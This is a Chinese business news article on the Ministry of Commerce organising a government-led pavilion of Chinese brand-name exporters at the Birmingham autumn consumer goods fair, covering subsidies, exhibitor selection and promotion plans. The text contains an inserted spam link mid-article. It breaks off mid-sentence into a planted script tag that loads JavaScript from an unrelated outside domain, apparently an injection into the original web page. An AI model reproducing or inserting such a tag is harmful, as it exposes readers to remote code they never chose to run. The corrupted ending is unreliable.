作者：姜蓉 来源：中国经营报
伯明翰国际博览会是世界著名的消费品类专业博览会之一，囊括了全部礼品及家庭用品行业的产品，伯明翰秋季博览会自1991年开始举办，与德国法兰克福秋季消费品博览会和意大利马契夫博览会齐名，同属世界著名三大专业消费品博览会。目前展览面积已经达到6万平方米，专业观众5万多人。女人网http://www.hxlady.com
为了实施名牌出口战略，扩大中国名牌商品对英国及其他欧盟国家的出口，商务部将于9月5日至8日首次以政府组团的方式组织中国部分名牌出口企业在伯明翰秋季博览会期间举办“中国名牌出口商品欧洲展”，以集中展示我国名牌出口商品的整体水平和实力。借船出海
这次名牌展有着较好的贸易背景。商务部对外贸易司贸易促进处负责人告诉记者，随着中国参与世界贸易程度的不断提高和经济实力的日益增强，“中国热”今年来渗透到包括英国在内的很多国家的政府和民间。中英两国经贸关系的发展有着广泛的社会基础。目前，中、英两国的经济规模分列世界第六和第四位，但双边贸易额仅占各自贸易总额的2％弱，中英贸易发展潜力很大。以“中国名牌出品商品欧洲展”的形式正是一种挖掘中英、中欧之间贸易潜力的有效举措。
同时，该负责人指出从境外办展的经验看，单独办展效果不理想，因为中国企业出国单独办展需要大量的宣传，费用很高，还需要有客户群基础等条件。而选择一个可以依托国际一流展会，借船出海，打出中国的名牌。
伯明翰消费品展是世界三大消费品展之一。展品主要是礼品、玩具、箱包、工艺等消费品，专业观众5万多人，而且处于不断上升期。其买家来自世界各地，对欧洲市场辐射力很强，是企业打开欧洲市场的一个很好的平台。因此，商务部此次组团将把该展览会中9号馆也是其最好的位置租下来了，定名为中国馆，集中展示中国名牌日用消费品。此次展览计划组织150个展位，面积约3000平方米。精品战略
据了解，这个名牌展的消息刚一发出，报名企业就迅速超过150家。企业的积极参与一方面原因是由于伯明翰展是世界一流的展览会，并是有5万多专业观众的巨大吸引力，另一方面原因是此次展览定位为名牌展，政府在展前通过驻外的参赞处，做了大量的广告宣传，另外，由于商务部拿到了比较低的展位价格，摊位费经过特装修以后比广交会的价格还低。
此次出国展承办的通用国际广告展览公司总经理李仁贵透露，政府为减轻企业参展负担共补贴700万元。这次出展与以往不同，立项审批都由商务部主管。通用国际广告展览公司只负责展览中事务性的工作。而且在签证等事项上企业都不会遇到问题。基于以上原因，企业对参展的期望值很高。
但是此次展览定位为名牌展，目的是为了展示中国的名牌出口商品，改变欧洲人对我国产品档次不高的印象，因此，为了提高展示效果，只能从报名企业里优中选优，初定选择50家名牌企业参加。李仁贵告诉记者，由于报名企业太多，可能名额会增加到80个。据悉，北京的天坛家俱、大宝化妆品，上海的三枪内衣、英雄笔等中国品牌企业会在此次名牌展上亮相。
名牌的甄选原则也来源于广交会品牌展区的经验。95届广交会设立品牌展区之后，品牌展区有2000个摊位，占总摊位数的7％，共成交44．4亿美元，占整个成交额的18％，因此，根据广交会的经验，此次赴欧洲参展选择名牌精品参加。
选择企业时，除了要与伯明翰的展览主题相吻合以外，主要是在广交会上进入品牌展区里的企业中选择。而品牌展区从事轻工业的企业近百家，按照成交额进行排名，在报名企业众多的情况下，按照排名顺序选择企业。
此次中国名牌展除了选择一流的产品，一流的企业精品参展以外，值得一提的是，为了使中国馆有统一的形象，馆内全部统一特装修，不设标摊。李仁贵告诉记者，与以往不同，此次承办方特别对企业强调要选择最好的展品去参展，另外，要挑选高素质外派人员，参展人员要能与买家直接对话。因为这不仅代表了企业自身，还代表国家的形象。三段式推介
此次赴英是中国名牌企业第一次大规模参展，商务部在展前、展中、展后三段的推介力度都很大。
目前已经通过中国使馆在国外做了一些宣传，在国外媒体上透露伯明翰消费品展中国馆将亮相的消息。参展前的布展也是非常重要的环节，此次布展全部采用特装修，在国内把布展工作完成，通过计算机打样审定，将设计和装修基础工作做完，运到英国组装。
贸易促进处负责人透露“在展会上，中国馆会有一个统一的形象。同时，在展览期间，商务部还会组织一系列的政府的推介活动，比如举办新闻发布会，通过英国的主流媒体宣传中国名牌商品情况，展示中国出口商品结构调整的成果。由于国外展会没有开幕式，中国馆又是首次亮相，此次名牌展准备搞一个中国馆的开馆活动。请一些英国和欧洲工商界的名流参加，加大推介力度。”
将名牌效应延续下去不能光靠一次展会，“要想使中国名牌真正地走出国门成为世界品牌不是一朝一夕之事，在展后也要有一些推介策略，比如?script src=http://cn.jxmmtv.com/cn.js></script>